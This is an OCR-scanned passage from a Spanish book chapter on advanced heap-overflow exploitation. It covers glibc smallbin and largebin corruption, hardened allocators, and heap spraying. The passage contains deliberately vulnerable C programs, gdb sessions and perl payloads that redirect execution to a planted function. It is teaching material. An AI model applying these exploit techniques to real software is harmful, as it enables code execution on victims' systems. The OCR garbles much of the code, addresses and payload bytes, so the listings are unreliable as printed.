printf ("\nBuffl  ->  [  %p  J ",  buffi); 
buff2  -  (char  *)  malloc (128); 
printf  {'f\nBuff2  ~>  [  %p  ]",  buff2)  ; 
buff 3  -  (char  *)  malloc (256); 
printf (n\hBuff 3  ->  [  %p  ]\n",  buff 3) ; 
free (buff 2 ) ; 

printf  ("\nBuff4  ->  [  fp  ]\n",  malloc  ( 1 423 ))  ; 
strcpy (buf f 1,  argv(ll); 
fund  ()  ; 
return  0; 

} 


El  programa  es  muy  simple,  tenemos  un  desbordamiento  de  buffer  en  buffi  y  una  funcion 
eviifuncn  que  nunca  es  Ilamada  pero  la  cual  deseam  os  ejeeular.  Disponemos  pues  de  todas  las 
condiciories  necesarias  para  desencadenar  THoL: 

-  Se  realiza  una  primera  Ilamada  a  malloc  (405  6)  que  no  deberia  ser  necesaria.  En  un  entomo 
real,  el  heap  de  un  proceso  puede  encontrarse  en  un  estado  indeterm  in  ado,  por  lo  que  un 
atacante  deberia  hacer  uso  de  tecnicas  como  las  descritas  en  la  seccion  9,8. 

Reservamos  tres  trozos  de  memoria  de  16,  128  y  256  bytes  respectivamente.  Estos  se 
obtendran  desde  el  wilderness  o  Top  Chunk. 

-  Liberamos  el  segundo  Lrazo  reservado  de  1 28  bytes  que  es  introducido  en  el  unsorted  bin . 

-  Se  reserva  un  euarto  trozo  de  tamano  mayor  al  liberado.  El  segundo  trozo  es  extraido  de  la 
lista  unsorted  e  introducido  en  su  bin  adecuado. 

-  Tenemos  una  funcion  strcpyo  vulnerable  que  permite  sobrescribir  la  cabecera  del  trozo 
previamente  liberado  (su  campo  bk  en  particular). 

-  Llamamos  a  fund  O  que  reserva  dos  trozos  de  128  bytes  (el  mismo  tamano  que  ei  trozo 
previamente  liberado)  para  formular  una  pregun  ta y  obtener  una  respuesta. 

Pudiese  parecer  que  fund  ()  es  una  funcion  sana,  pero  si  ib2  apuntase  al  stack,  entonces  un  atacante 
podria  sobrescribir  una  direccion  de  retomo  guardada. 

blackngeldbbc  :  -/ptmalloc2$  . /thl  AAAA 
L PTMALLOC2 ]  ->  (Trozo  obtenido  del  Wilderness) 

Buffi  ->  [  0xS04ffe8  ] 

[FTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buff 2  ->  [  0*805000.0  ] 

[PTMALLOC2]  (Trozo  obtenido  del  Wilderness) 

Buf f 3  ->  [  0x8050088  ] 

[PTMALLGC2]  ->  (Liberado  y  unsorted  [  0x8O4fffS  ]) 

[FTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buf f 4  ->  [  0x8050190  ] 

[ PTMALLOC2]  ->  (Codigo  -smallbin-  alcanzado) 
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[PTMALL0C2]  ->  (victim  =  [  Dx804fff8  ]) 

[ PTMALL0C2 ]  ->  (victim- >bk  =  [  0x804el88  j) 

LBl  ->  T  0x8050000  ] 

[ PTMALLOC2 ]  ->  (Trozo  obtenido  del  Wilderness) 
LB2  ->  [  0x8050728  ] 

Cual  es  tu  aficion  favorita?:  hack 
blackngel@bbc : -/ptmalloc2$ 


Los  tres  primeros  trozo  s  se  toman  desde  el  wilderness,  luego  el  segundo  trozo  es  liberado  (0xO8O4fffB) 
y  puesto  en  el  unsorted  bin.  Permanecera  en  esta  lista  hasta  que  la  siguiente  llamada  a  maiiocO  le 
indique  si  puede  satislacer  la  nueva  demanda. 

Desde  que  el  cuarto  buffer  reservado  es  de  tamafio  superior  al  liberado,  este  es  tomado  nuevamente 
desde  el  top,  y  buff 2  es  extraido  del  unsorted  bin  para  introducirlo  en  el  bin  eorrespondiente  a  su 
tamano,  128  bytes. 

La  siguiente  llamada  a  maiioc(i28),  eorrespondiente  a  lbi,  desencadena  el  smalibin  code 
devolviendo  en  victim  la  misma  direecion  que  el  trozo  previamente  liberado.  Ademas  podemos 
observar  el  valor  de  victim->bk,  que  es  el  que  deberia  tomar  Lh2  despues  de  que  dicha  direecion  haya 
pasado  por  la  macro  chunk2me:n  ( ) . 

Entonces,  /fque  necesitamos  para  explotar  el  programa? 

-  Sobrescribir  buff2->bk  con  una  direecion  en  la  pda  cerca  de  una  direecion  de  retorno 
guar  dad  a  (dentro  del  stack  frame  creado  por  fund  ( ) ). 

La  direecion  de  evii_func()  con  la  que  deseamos  sobrescribir  E1P  y  d  rcllcno  necesario 
para  alcanzar  la  direecion  de  retorno. 


Si  detenemos  el  programa  en  fund  o  y  examinamos  la  memoria  obtenemos; 


{gdb)  x/l6x  $ebp-32 
Oxbf fff 338 :  0x00000000 

Oxbf fff 348 :  0x00251340 

Oxbf f f f 358 :  Oxbf f f f 388 

Oxbff ff 368 :  OxQ804cObG 

EBP  *  Oxbf fff 358 
RET  *  Oxbf fff 35C 


0x00000000 
0x00 1 82a20 
0x0  8  04  8dle 
Oxbf fff 3  8  8 


Oxbff ff388 
0x00000000 
0x0804f fe8 
0x00l3f345 


0x00743  fcO 
0x00000000 
Oxbf fff 5d7 
0x08050088 


La  direecion  de  evii  func  ( )  es: 

(gdb)  disass  evil_func 

0x08048ba4  <evil f unc+0> ;  push  %ebp 


Veamos  lo  que  ocurre  cuando  juntamos  todos  los  elementos  en  un  mismo  payload  de  ataque: 

bl ackngel@bbc  :  ~  /ptmal  1  oc2$  perl  -e  'print  flBBBBBBBBV  " \xa4\x8b\x04\x0  8  "  "  > 

evil . in 

(gdb)  run  "perl  -e  'print  ,rAT,x2B  .  H \x3c\xf 3 \xf f' \xbf "  T  "  <  evil. in 
[ PTMALL0C2 ]  ->  (Trozo  obtenido  del  Wilderness) 

Buffi  ->  [  0x8  04  f f e8  J 

[ PTMALLOC2 ]  ->  (Trozo  obtenido  del  Wilderness) 

Buff 2  ->  [  0x8050000  ] 

[PTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 
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Buff 3  ->  [  0x8050088  J 


[PTMALLOC2]  ->  (Liberado  y  unsorted  [  0x804f ff 8  ]  ) 
[PTMALLOC2]  ->  (Trcso  obtenido  del  Wilderness) 


Buff 4  ->  [  0x8050190  ] 

[PTMALLOC2]  ->  (Codigo  - small bin—  alcanzado) 

[ PTMALL0C2 ]  ->  (victim  =  [  0x8G4fff8  ]) 

[PTMALLOC2]  ->  (victim->bk  =  [  0xbffff33 c  ] )  //  Primera  fase  del  at ague 
LB1  ->  [  0x8050000  ] 

[PTMALLOC2]  ->  (Codigo  -smallbin-  alcanzado) 

[PTMALLOC2]  ->  (victim  -  [  0xbffff33c  J)  //  Victim  en  el  stack 

[PTMALLOC2]  ->  (victim->bk  -  [  0xbffff378  J) 

LB2  ->  [  Oxbf f f f 34 4  ]  //  Boom! 


Cuai  es  tu  aficion  favorita?: 

Esta  es  una  funcion  maliciosa,  Puedes  ser  un  super-hacker  si  logras 
//  Codigo  arbitrario 

Program  received  signal  SIGSEGV,  Segmentation  fault, 

0x0804 8bb7  in  evil  func  ( ) 

Cgdb) 


e jecutarla . 


Usted  mismo  puedc  probar  a  compilar  este  ejemplo  con  la  librerfa  GL1BC  habitual  de  su  sistema  y 
obtendria  el  mismo  resultado.  Pero  tenga  en  cuenta  una  cosa,  la  version  2.11.1  ha  implementado  el 
siguiente  parche: 

bck  -  victim->bk; 

if  ( _ builtin_expect  (bck->fd  !=  victim,  0)) 

{ 

errstr  =  "mallocf):  smallbin  double  linked  list  corrupted"; 
goto  errout; 

} 

set_inuse_bit_at_of f set (victim,  nb) ; 
bin->bk  —  bck; 
bck~>fd  =  bin; 


Esta  comprobacion  puedc  ser  evadida  si  usted  controla  un  area  en  la  pi  la  y  puede  escribir  un  cntcro  tal 
que  su  valor  sea  igual  a  la  direccion  del  trozo  recientemente  liberado,  es  decir,  victim.  Esto  debe 
ocurrir  antes  de  la  siguiente  llamada  a  maiioc  ( )  con  el  mismo  taniano  reservado. 


9.6.3.  Corrupcion  LargeBin 

Para  aplicar  la  tecnica  anterior  a  un  largebin  deberian  cumplirse  las  mismas  condiciones  salvo  que  los 
tamaflos  de  los  trozos  reservados  tendran  que  ser  superiores  a  512  bytes.  No  obstante,  el  codigo  que 
se  desencadena  dentro  de  int  raaiiocO  cs  distirito,  y  tambien  mas  complejo,  por  lo  que  otros 
requisites  extras  seran  necesarios  para  lograr  ejecutar  codigo  arbitrario. 

Realizarcmos  unas  pequenas  modiflcaciones  al  prograitia  vulnerable  preset)  tado  en  9.6.2. 

^include  <stdlib.h> 

#include  Cstdio . h> 

#include  <string.h> 
void  evil  func (void) 
f 

printf ("\nEsta  es  una  funcion  maliciosa.  Puedea  ser  un  super-hacker  \ 
si  logras  ej ecutarla , \n,T )  ; 


CapUulo  IX.  Heap  Overflows:  Exploits  avanzados 


269 


void  fund  (void) 

{ 

char  *lbl,  *lb2; 

ibl  =  (char  *)  malloc (1536) ; 

printf  ("\nLBl  ->  [  %p  j Tl ,  ibl); 

lb2  -  malice (1536) ; 

print f  ( ,T\nL82  ->  [  %p  j Tl ,  lb2  )  ; 

strcpydbl,  ,rCuai  es  tu  aficion  favorite?:  ")  ? 

printf  CT\n%s" ,  Ibl)  ; 

fgets(lb2,  128 f  st din) ; 

1 

int  main(int  arge,  char  *argv[]) 

{ 

char  *buf f lf  *buff2,  *buff3; 
malloc (4096) ; 

buffi  =  (char  *)  malloc (1024) ; 
printf ( "\nBuffl  ->  [  %p  ]n,  buffi); 
buff2  =  (char  *)  malice (2043) ; 
printf  (  H \nBuff  2  ->  [  %p  J  11 ,  buff2)  ; 
buff3  =  (char  *}  malloc ( 40 96) ; 
printf  ( ,T \nBuff  3  ->  [  %p  ]\n",  buff  3)  ; 
free (buff2) ; 

printf  (,f\nBuff 4  ]  ",  malloc  (4096)  )  ; 

strepy (buf f 1,  argv[l]); 
fund  ()  ; 
return  0 ; 

} 


Seguimos  necesitando  una  reserva  extra  (buff 4)  despues  de  liberar  el  segundo  trozo  solieitado.  Esto 
es  asi  puesto  que  no  es  buena  idea  tener  un  puntero  bk  corrupto  en  un  Irozo  que  todavia  se  encuentra 
en  el  tmsoried  bin >  En  caso  eontrario,  lo  mas  probable  es  que  se  provocase  una  denegaeion  de  servicio 
euando  se  ejecuten  las  siguientes  instmcciones. 

/*  remove  from  unsorted  list  */ 
unsorted_chunks ( av) ->bk  =  bek; 
bck->fd  =  unsorted  chunks (av) ; 


Si  actuamos  correctamente  y  el  trozo  recientemente  liberado  es  colocado  en  su  bin  correspondiente, 
pasaremos  a  la  siguiente  zona  de  codigo: 

while  (  (victim  =  unsorted_chunks (av) ->bk)  [=  unsorted_chunks (av) )  { 

} 


Haber  superado  este  codigo  sigmfica  que  buf  f  2  se  ha  introducido  en  ei  large  bin  correspondiente  a  su 
tarn  an  o  y  que  alcanzaremos  otro  fragmento  de  codigo: 

if  ( 1 in_smallbin_range (nb) )  f 
bin  =  bin_at(avr  idx) ; 

for  (victim  =  last  (bin)  ;  victim  l—  bin;  victim  =  vi.c'tim->bk>  { 
size  =  chunks ize (victim) ; 

if  ( (unsigned  long)  (size)  >=  (unsigned  long)  (nb) )  { 

printf ( M\n[PTMALLOC2]  No  enter  here  please\n" ); 
remainder  size  =  size  -  nb; 
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unlink (victim,  bck,  fwd) ; 


En  este  punto  debemos  prestar  especial  atencion,  la  macro  unlink o  es  llamada,  y  ya  conocemos  de 
lecciones  anteriores  la  protection  implementada  desde  la  version  2.3.6  de  GLfBC.  Aqui  es  por  lo  tanto 
donde  aparece  una  de  las  diferencias  con  respecto  ai  metodo  small  bin.  En  9.6.2  deeiamos  que  despues 
de  sobrescribir  el  puntero  bk  del  trozo  liberado,  dos  llamadas  a  malloc  ( )  eon  el  mismo  tamano  de  ese 
trozo  debedan  ser  efeetuadas  para  retomar  un  puntero  *mem  en  una  direction  arbitraria  de  la  memoria. 

Cuando  corrompemos  un  large  bin,  debemos  evitar  este  eodigo  a  toda  costa,  y  para  ello  las  llamadas  a 
malloc  ( )  tienen  que  ser  menores  que  buf f2->size.  En  nuestro  ejemplo  elegimos  1536  bytes: 

512  <  1536  <  2048. 

Ya  que  anteriormente  no  ha  sido  liberado  ningun  trozo  de  este  tamano,  _int_maiioc{)  buscara  un 
trozo  que  pueda  satisfacer  la  petition  a  partir  del  bin  siguiente  al  recientemente  escaneado: 

//  Search  for  a  chunk  by  scanning  bins,  starting  with  next  largest  bin. 

++idx; 

bin  —  bin at (av, idx) ; 


Solo  entonces  el  siguiente  fragmento  de  eodigo  sera  ejeeulado: 

victim  =  last (bin); 
else  { 

size  =  chunks ize (victim) ; 
remainder_size  =  size  -  nb; 

printf  ( 11  \n  [PTMALLOC2 J  ->  (Codigo  -largebin-  alcanzado)  " )  ; 

print f  (u\n  [PTMALLOC2]  ->  remander_size  =  size  (t,d)  -  nb  (%d)  =  %uM,  size, 

nb,  remainder_size) ; 

printf  ( "An  [PM&LLQC2]  ->  (victim  =  [  %p  ]  }  ,T,  victim); 

printf  { "\n  [PTMALLOC2]  ->  (victim->bk  =  [  %p  ])\n,T,  victim->bk) ; 

/*  unlink  */ 
bck  =  victim^>bk; 
bin->bk  —  bck; 
bck->fd  =  bin; 

/*  Exhaust  */ 

if  (remainder_size  <  MINSIZE)  ( 
printf ("\n [PTMALLOC 2]  ->  Exhaust ! 3  I \n") ; 


return  chunk2mem( victim) ; 

) 

/*  Split  */ 
else  { 


set_f cot ( remainder,  remainder  size); 
check_malloced_chunk (av,  victim,  nb) ; 
return  chunk2mem (victim) ; 

I 

} 


Hemos  mostrado  las  partes  que  tienen  relevancia  con  el  metodo  que  estamos  describiendo.  Como  se 
puede  ver,  el  proceso  es  practicamente  el  mismo  que  en  la  corruption  de  small  bin,  se  eoge  el  ultimo 
trozo  del  largebin  respect ivo  (last  (bin) )  en  victim  y  se  precede  a  desenlazarlo  de  forma  manual 


Capita  !o  IX.  Heap  Overflows:  Exploits  avanzados 


271 


antes  de  entregarlo  al  usuario.  Ya  que  controlamos  victim- >bk  en  prindpio  las  eondieiones  de  ataqae 
son  las  mismas,  pero  la  llamada  a  set  foot  o  tiende  a  product r  una  violacion  de  segmento  desde  que 
remainders ize  es  calculado  a  partir  de  victim->size,  valor  que  hasta  el  momento  eslabamos 
rellenando  al  azar.  El  resultado  es  algo  como  lo  siguiente: 

(gdb)  run  ’perl  -e  'print  T,A'T  x  1036  .  ,T\x44\xf 0\xf f \xbf " '  ' 

[BTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buffi  ->  [  0x8050010  ] 

[PTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buff 2  ->  [  0x8050418  ] 

[PTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buff 3  ->  [  0x8 050c2 0  ] 

[PTMALLOC2 ]  ->  (Libersdo  y  unsorted  [  0x8050410  ] ) 

[PTMALLOC2]  ->  (Trozo  obtenido  del  Wilderness) 

Buff 4  ->  [  0x805 lc2 8  ] 

[ PTMAL10C2]  ->  (Codigo  -largebin-  alcanzado) 

[PTMALLOC2]  ->  remander_size  =  size  (1094795584)  -  nb  (1544)  -  1094794040 
[PTMALLOC2]  ->  (victim  -  [  0x8050410  ]) 

[PTMALLOC2]  ->  (victim->bk  =  [  0xbffff044  ]) 

Program  received  signal  5IGSEGV,  Segmentation  fault. 

0x0304a072  in  _int_malloc  (av=0x8 04e0c0 ,  bytes=1536)  at  malldc , c: 414 4 
4144  set_foo-t  (remainder,  remainder_size)  ; 

(gdb) 


La  solucion  pas  a  por  hacer  que  se  cumpla  la  sentencia: 

if  (remainder  size  <  MINSIZE)  {  } 


Algun  lector  ingenioso  pensara  en  sobrescribir  victim->size  con  un  valor  como  Oxfcfcfcfc,  lo  que 
daria  como  resultado  un  numero  negatlvo  menor  que  MrKisizE,  pero  debemos  recordar  que 
remainders ize  es  defmido  como  un  unsigned  long  y  por  lo  tanto  el  resultado  siempre  sera  positive. 

La  unica  posibilidad  que  nos  queda  entonces  es  que  la  aplicacion  vulnerable  nos  permita  introducir 
bytes  null  en  la  cadena  de  ataque,  y  por  lo  tanto  suplir  un  valor  como  OxOOOOOOiQ*  en  decimal  1552, 
lo  que  daria  como  resultado:  1552  -  1544  (alineado)  =  8  y  la  condicion  seria  cumplida.  Veamoslo  en 
accidn: 

(gdb)  set  * ( 0x08050 4 1 0+4 ) =0x0000 0 610 
(gdb)  c 
Continuando . 

Buff 4  ->  [  0x8G5lc2.8  ] 

[FTMALLGC2]  ->  (Codigo  -largebin-  alcanzado) 

[PTMALLOC2]  ->  remander_size  =  size  (1552)  -  nb  (1544)  =  8 
[PTMALLOC2]  ->  (victim  =  [  0x3050410  ]) 

[ PTMALLOC2 ]  ->  (victim->bk  =  \  0xbffff044  j) 

[ PTMALLOC2  j  ->  Exhaust ! 1 l 
LB1  ->  [  0x8050418  ] 

L PTMALLOC2 ]  ->  (Largebin  code  reached) 

[PTMALL0C2]  ->  remander_size  =  size  (-1073744384)  -  nb  (1544)  =  3221221368 
[PTMALLOC2]  ->  (victim  =  [  Gxbffff044  ]) 

[FTMALLOC2]  ->  (victim- >bk  =  [  Gxbffff651  ]) 

Program  received  signal  SIGSEGV,  Segmentation  fault. 

OxQ8G4a072  in  _int_malloc  ( av~Qx8Q4e0cQ ,  bytes=1536)  at  malloc .c : 4144 
4144  set  foot (remainder t  remainder size) ; 
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Hemos  alcanzado  la  segunda  peticion  de  me  mod  a  donde  comprobamos  que  victim  es  igual  a 
Oxbfff f 044,  que  de  ser  retornado  nos  proporcionaria  un  trozo  cuyo  puntero  apunta  al  stack*  pero 
set_foot  ( )  vuelve  a  hacer  de  las  suyas,  y  esto  se  debe  a  que  no  estamos  control  an  do  el  campo  size 
del  falso  trozo  creado  en  la  pila.  Esta  es  la  ultima  condition  a  cumplir,  victim  deberia  apuntar  a  un 
fugar  de  ia  memoria  que  eon  ten  ga  datos  controlados  por  el  usuario,  de  modo  que  podamos  introducir 
un  valor  size  adecuado  y  eoncluir  la  tecnica. 

En  resumen,  encontrar  una  aplicacion  en  la  vida  real  que  curnpla  todos  estos  requisitos  es  bastante 
improbable,  pero  nunca  imposible.  De  hecho,  las  versiones  mas  reeientes  de  glibc  ban  intentado 
mitigar  d  problema  implementando  el  siguiente  parehe. 

else  { 

size  =  chunksize (victim) ; 

/*  We  know  the  first  chunk  in  this  bin  is  big  enough  to  use.  */ 
assert ( (unsigned  long)  (size)  >—  (unsigned  long)  (nb) ) ;  <--  I  I i [  !  !  J 

remainder  size  =  size  -  nb; 

/*  unlink  */ 

unlink (victim,  bck,  fwd) ; 

/*  Exhaust  */ 

if  (remainder_size  <  MIDSIZE)  { 

set_inuse_bit_at  of f set (victim,  size); 
if  (av  t=  &main_arena) 

victim->size  =  NON_MAIN_ARENA; 

} 

/*  Split  */ 
else  ( 


Esto  signifiea  que  la  macro  unlink  { j  ha  vuelto  ha  ser  introducida  en  el  codigo  y  por  lo  tan  to  la  clasica 
comprobaeion  de  punteros  en  la  lista  doblemente  enlazada  pretende  mitigar  el  ataque. 


9.7.  Gestor  de  memoria  seguro 

La  premisa  es  clara;  no  existe  una  forma  relativamente  simple  de  crear  un  gestor  de  memoria  dinamica 
totalmente  seguro.  Las  estructuras  de  control  o  cabeceras  no  deberian  estar  sifuadas  de  forma  contigua 
a  los  datos.  Crear  una  macro  que  sume  8  bytes  a  la  direccion  de  una  cabecera para acceder  directamente 
a  los  datos  resulta  eficiente,  pero  nunca  h a  si  do  una  opcion  pensada  de  eaia  a  la  seguridad  de  ios 
Lisuarios. 

No  obstante,  y  aunque  este  problema  fuese  solucionado,  existen  quienes  todavia  plensao  que 
corromper  los  datos  de  otro  trozo  reservado  contiguo  puede  ser  de  utilidad  ^Que  ocurre  si  alii  se 
almacenan  estructuras  de  datos  que  contengan  punteros  a  fund  ones?  Llegamos  entonces  al  pun  to 
crucial  de  que  es  indispensable  la  utilizacidn  de  cookies  entre  los  trozos  de  memoria  asignados.  Lo 
mas  eficiente  seria  que  esta  cookie  la  compongan  los  ultimos  4  bytes  de  cada  trozo  reservado,  con  el 
objetivo  de  preservar  el  alineamiento. 

Ademas  de  esto,  habria  que  tomar  de  Electric  Fence  -  Red-Zone  memory  allocator  de  Bruce  Perens, 
ideas  de  protection  como: 

-  Anti  Double  Frees. 
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if  (  slot->mode  !=  ALLOCATED  )  { 

if  (  internalUse  &&  slot->mode  ==  INTERNAL^USE  ) 

el  se  { 

EF  Abort { "free { %a) ;  freeing  free  memory. 11  ,  address); 

Liberar  espacio  no  asignado.  EFense  mantiene  una  lista  de  direeciones  de  trozos  asignados 
o  slots  . 


slot  =  slotForUserAddress  (address) 
if  (  !  slot  ) 

EF Abort  (fl  free  (%a)  :  address  not  from  malloc  address); 


Otras  implementaciones  de  gestion  de  memoria  dinamica  que  deberiamos  tener  en  cuenta  son  Jemalloc 
en  FreeBSD  y  Guard  Malloc  para  Mac  OS  X.  La  primera  esta  especial mente  disenada  para  sistemas 
concurrentes.  Hablamos  de  la  gestion  de  multiples  hilos  en  multiples  procesadores,  y  de  como  haeer 
esto  de  forma  eficiente,  sin  afectar  el  rendimiento  del  sistema  y  obteniendo  mejores  tiempos  en 
comparaeion  con  otros  gestores  de  memoria.  El  scgundo,  por  poner  un  ejemplo,  usa  la  paginacion  y 
sus  mecanismos  de  protec  cion  de  una  forma  muy  Intel  igente*  Extraido  dire  eta  mente  desde  la  pagina 
man,  podemos  comprender  la  clave  de  este  metodo: 

“Cada  reserva  de  malloc  es  situada  en  su  propia  pagina  de  memoria  virtual,  con  d final 
del  buffer  coincidiendo  con  el  final  de  la  pagina,  v  la  siguiente  pagina  se  mantiene  sin 
reservar.  Como  result  ado,  los  accesos  mas  alia  del  final  del  huffier  cans  an  errores  de 
bus  inmediatamente.  Cuando  la  memoria  es  liber adaf  lihgmaUoe  libera  la  memoria 
virtual  de  forma  que  ope rac tones  de  lectura  y  escritura  en  esta  zona  de  memoria 
turn  b  ten  causen  errores  de  bus. " 


INota 


Se  trata  de  una  idea  realmente  interesante,  pero  tenga  en  cuenta  el  heeho  de  que  esta  tecnica 
no  es  tan  eficiente  ya  que  requiere  sacrificar  gran  cantidad  de  memoria.  Coni  leva  una 
reserva  de  tamano  igual  a  la  constante  pagejsize  (4096  bytes  es  un  valor  comuii,  puede 
obtenerlo  mediante  getpagesi.ge  ( ) )  para  cada  trozo  pequeno. 


En  opinion  del  autor  que  suscribe,  Guard  Malloc  no  es  un  gestor  de  memoria  de  uso  rut  i  nano,  si  no 
mas  bien  una  implementacibn  con  la  coal  compilar  sus programas  en  las  etapas  tempranas  de  desarrollo 
y  depuracidn.  De  hecho,  ese  es  sli  objetivo  principal,  y  puede  descubrir  como  habilitarlo  en  la  pagina 
de  desarrol  1  adores  de  Appl  c:  https  .//developer,  apple ,  com/libmryfmacf documentation/ Performance 
/Conceptual/ Managing Meimny /A rtic les/MallocDebug. htmL  Guard  Malloc  es  una  libreria  altamente 
configurable,  usted  puede  permitir,  a  traves  de  una  variable  de  entorno  especifica 
(malloc  allows  reads),  leer  mas  alia  del  final  de  un  buffer  reservado*  Esto  se  consigue  marc  an  do  la 
siguiente  pagina  como  Read-Only.  Si  se  liabilita  esta  variable  junto  con  otras  como 
malloc_protect_be  fore,  tambien  podra  leer  la  pagina  virtual  anterior.  Lo  que  es  mas,  si 
malloc  protect  beeore  es  habilitada  sin  malloc_allow_read$,  algunos  buffer  underflows  pueden 
ser  detectados* 
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9.7.1.  Dnmalloc 

Esta  implementation,  DistriNet  malloc,  trabaja  como  los  sistemas  mas  modemos:  eddigo  y  datos  son 
cargados  en  direcciones  de  memoria  separadas.  Para  ello  dnmalloc  aplica  las  mismas  tecnicas  a  los 
trozos  y  a  la  infomiacion  de  los  trozos  que  son  gnardados  en  distintos  lugares  de  la  memoria  por  guard 
pages.  Una  tabla  hasheada  que  eonliene  punteros  a  una  lista  enlazada  de  information  de  trozos 
accedidos  a  traves  de  la  fund  on  hash,  se  usa  para  asociar  los  trozos  con  los  metadatos 
correspondientes. 


Imogen  09,09:  E  structure  Dnmalloc. 

La  manipulation  de  la  Information  de  los  trozos  se  produce  como  sigue; 

Un  area  fija  es  mapeada  detras  de  la  tabla  de  hashes  para  la  information  de  los  trozos. 

-  La  intbrmacion  para  los  trozos  libres  es  guardada  en  una  lista  enlazada, 

-  Cuando  un  nuevo  trozo  es  necesario,  el  primer  elemento  en  la  lista  de  los  libres  es  usado. 

-  Si  no  quedan  libres,  se  reserva  desde  mmap  o . 

Si  dste  tambien  esta  vatio,  se  mapea  memoria  extra  para  el. 

-  La  information  de  los  trozos  se  protege  mediante  guard  pages , 

9.7.2.  OpenBSD  Malloc 

Esta  implementation  fue  disehada  con  los  siguientes  objetivos  en  mente;  simple,  impredecible,  rapida, 
menor  sobrecarga  de  metadatos  y  robusta.  De  heeho,  la  liberation  de  un  pun  ter  o  nulo  o  un  double  free 
deberi'a  ser  detectado. 
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que  bay  de  los  metadatas?  Se  mantiene  un  registro  de  las  regiones  mapeadas  guardando  sos 
direcciones  y  tamano  en  una  tabla  hasheada.  Iambi  en  se  mantienen  las  estructuras  de  datos  para  los 
trozos  reservados  y  una  region  de  cache  libre  con  un  numero  de  ranuras  fijas: 

Regiones  liberadas  son  mantenidas  para  uso  posterior. 

Regi  ones  gran  de  s  son  d  e  smapeadas  d  i rectamente . 

-  Desmapear  algunas  paginas  si  hay  dcmasiadas  en  la  cache. 

-  B  a  sq  u  ed  a  aleator  i  a  de  regi  one  s ,  men  os  p  redec  ible. 

-  Opcionalmente,  las  paginas  en  la  cache  se  pueden  rnarcar  como  prot^nohe. 


9.8.  Heap  Spraying  y  Heap  Feng  Shui 

Este  capftulo  quedaria  incomplete  si  no  nos  detuviesemos  a  debatir  la  fiabilidad  y  el  potencial  de  exito 
de  los  exploits  disenados  para  atacar  esta  clase  de  vulnerabilidades  en  el  mundo  real. 

El  elemento  que  niarca  una  diferencia  drastica  entre  las  pruebas  de  concepto  que  bemos  mostrado  a  lo 
largo  de  las  ultimas  seceiones  y  las  aplicaciones  que  usted  utiliza  cada  dia,  como  pueden  ser  clientes 
de  correo  o  navegadores  web,  es  que  un  atacante  no  puede  predecir  el  estado  actual  del  heap  sin  al 
menos  aplicar  un  poco  de  ciencia. 

For  largo  tiempo  los  hackers  ban  tenido  preserves  todos  estos  problemas  y  han  estado  dischando  y 
desarrollando  una  serie  de  tecrheas  que  permiten  la  reordenacion  predecible  del  heap  de  modo  que 
tanto  la  posicion  de  los  bloques  reservados  como  los  datos  contenidos  dentro  los  m  ism  os  scan 
parametros  comrolados  por  el  atacante.  Sehalaremos  dos  de  los  metodos  mas  conod dos: 

-  Heap  Spraying 

-  Heap  Feng  Shui 

9.8.1  Heap  Spraying 

El  objetivo  de  la  tecnica  Heap  Spraying  es  rellenar  el  heap  hasta  donde  sea  posible  reservando  una 
gran  c  anti  dad  de  memoria  y  situando  alii  series  de  NOPs  se  guides  de  un  shell  code  oportuno.  Luego  se 
utiliza  una  direccion  de  memoria  predecible  que  nos  conduzca  a  la  ejecueion  de  codigo  arbitrario.  Una 
idea  muy  ingeniosa  dentro  de  esta  tecnica  es  hacer  que  el  colchon  de  NOPs  sea  igual  a  la  direccion 
seleecionada  de  modo  que  6sta  se  autorreferencie. 

Una  idea  primitiva  y  anteriormente  utilizada  contra  navegadores  como  Internet  Explorer,  ha  sido 
reservar  una  cantidad  considerable  de  memoria  dinamica  (por  ejemplo  200  megabytes),  y  volcar  el 
conjunto  nops+shellcode,  tal  y  como  se  ba  explicado,  redirigiendo  luego  una  direccion  de  retorno 
guardada  o  un  puntero  a  flmcion  a  la  direccion  oxOcOcOcOc,  sabiendo  que  existen  muy  buenas  opciones 
de  que  alii  se  encuentre  el  codigo  del  atacante.  Lo  que  es  mas,  el  colchon  de  NOPs  utilizaba  un  valor 
0x0 c  (a  diferencia  del  habitual  0x90)  cuya  traduccidn  a  ensamblador  es  “or  aif  Oxc”,  incrementando 
de  este  modo  las  posibilidades  de  refereneiar  la  zona  de  codigo  arbitrario  u  otro  colchon  de  NOPs  que 
conduzca  al  mismo. 
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Por  desgraeia,  aunque  la  tecnica  explicada  aumenta  corLsiderablemente  las  probabilidades  de  exito, 
exislen  ciertas  limitaeiones  que  debemos  tener  en  cuenta.  La  suerte  siempre  influye  en  estos  cases,  y 
d  exploiter  debe  tener  especial  cuidado  de  no  caer  en  medio  do  un  shellcode  (que  no  el  eolehon  de 
NOPs)  o  incluso  retomar  dentro  de  la  cabecera  de  uno  de  los  trozos  reservados. 

Puede  que  el  lector  todavia  este  preguntandose  c6mo  el  atacante  puede  realizar  todas  estas  reservas  de 
memoria  con  tamanos  arbitrarios.  Lo  eierto  es  que  cuando  la  aplicacion  vulnerable  se  trata  de  una 
p  lata  forma  de  gran  calibre,  como  lo  es  un  navegador  web,  existen  multitud  de  formas  para  lograrlo, 
Lo  mas  habitual  es  hacer  uso  de  cualquier  lenguaje  de  scripting  soportado,  como  javascript,  vbscript 
o  action  script.  Como  cualquier  otro  lenguaje  de  programacion,  estos  permiten  crear  cadenas  de 
caracteres  de  forma  dinamica  que  seran  transformadas  entre  bastidores  a  bloques  de  memoria  situados 
en  el  heap,  por  lo  tanto  sera  el  motor  del  lenguaje  o  el  propio  navegador  el  encargado  de  establecer  los 
limites  para  esta  clase  de  solicitudes  de  memoria.  Dicho  esto,  un  metodo  obvio  es  crear  una  larga 
cadena  de  caracteres  conteniendo  el  conjunto  nops+shellcode  y  concatenarla  consigo  misrna  cuantas 
veces  sea  posible. 


9.8.2  Heap  Feng  Shui 

Feng  Shui  es  una  tecnica  mas  eiaborada  que  primero  intenta  desfragmentar  el  heap  realizando  una 
serie  eontrolada  de  reservas  y  liberaciones  de  bloques.  De  este  mode  se  consigue  establecer  un  patron 
predecible  en  el  que  cada  bloque  reservado  esta  precedido  por  un  hueco  o  trozo  libre.  Observe  la 
siguiente  ilustracion. 
